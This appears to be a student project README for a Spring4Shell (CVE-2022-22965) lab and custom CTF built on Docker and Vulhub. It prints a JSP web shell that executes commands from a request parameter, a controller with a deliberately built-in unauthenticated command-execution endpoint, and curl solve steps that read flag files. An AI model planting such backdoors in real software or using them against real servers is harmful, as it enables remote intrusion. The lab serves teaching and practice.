
Spring4Shell (CVE-2022-22965) 漏洞環境搭建與 CTF 題目
This project includes dual-track security research implementations:
Participants will exploit a Remote Code Execution (RCE) vulnerability, follow clues to read the Flag located in the system root directory or temporary directory.
# Update package repository
sudo apt update
# Install Docker and Docker Compose
sudo apt install docker.io docker-compose -y
# Start Docker service
sudo systemctl start docker
sudo systemctl enable docker
# Download Vulhub project
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# Enter Spring4Shell vulnerability directory
cd vulhub/spring/CVE-2022-22965
# Start Docker containers
sudo docker-compose up -d
# Verify containers are running
sudo docker ps
Open a browser and visit http://localhost:8080/?name=Hacker&age=99
To avoid blind guessing during challenge solving and to reproduce a self-developed scenario, this project creates an independent project Spring4Shell-Custom-CTF. First, thoroughly clean the environment, then compile and start without cache:
# Clean old environment
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# Create project directory structure and generate fully custom Java source code (including pom.xml, UserController.java, etc.)
# Use two-stage build (Maven + Tomcat 9) to precisely place the custom Flag in the system root directory /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# Verify the custom target container is running
sudo docker ps
After a successful attack, the backdoor file is written to webapps/ROOT/tomcatwar.jsp with the following content:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
In the custom UserController.java, the POJO object binding defense flaw is deliberately retained, and an unauthenticated command injection channel is built-in:
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// Directly call Java Runtime to execute underlying commands and return results
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... stream reading logic ...
}
return "Department of Information Management, Tamkang University - Student Final Project Showcase Platform";
}
# Vulhub backdoor path
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# Custom environment control path
curl "http://localhost:8080/?cmd=id"
# Vulhub backdoor path
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# Custom environment control path
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User object type). The Flag is located in the server's system root directory./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 to confirm parameter binding functionality works.tomcatwar.jsp backdoor.http://<target>:8080/tomcatwar.jsp?cmd=id to confirm RCE success.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" to read the temporary file.The solver (Identity B), based on the known information provided by the challenger, avoids blind guessing and executes standardized steps:
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root.curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # Project documentation
├── docker-compose.yml # Container orchestration configuration
├── Dockerfile # Two-stage build image configuration
├── pom.xml # Maven project configuration
├── src/ # Custom Java showcase system source code
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # Local Flag source file
├── screenshots/ # Results display and attack screenshots
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # Legacy backdoor file source code
| Role | Name | Work Content |
|---|---|---|
| Member A | Huang Yuting | Environment setup, full project Java source code writing, Docker packaging, CTF standard 5-step solution |
| Member B | Li Zhenlin | Theoretical research, presentation creation, report video editing, solution script compilation |
This project is for educational and research purposes only. Do not use it on unauthorized systems.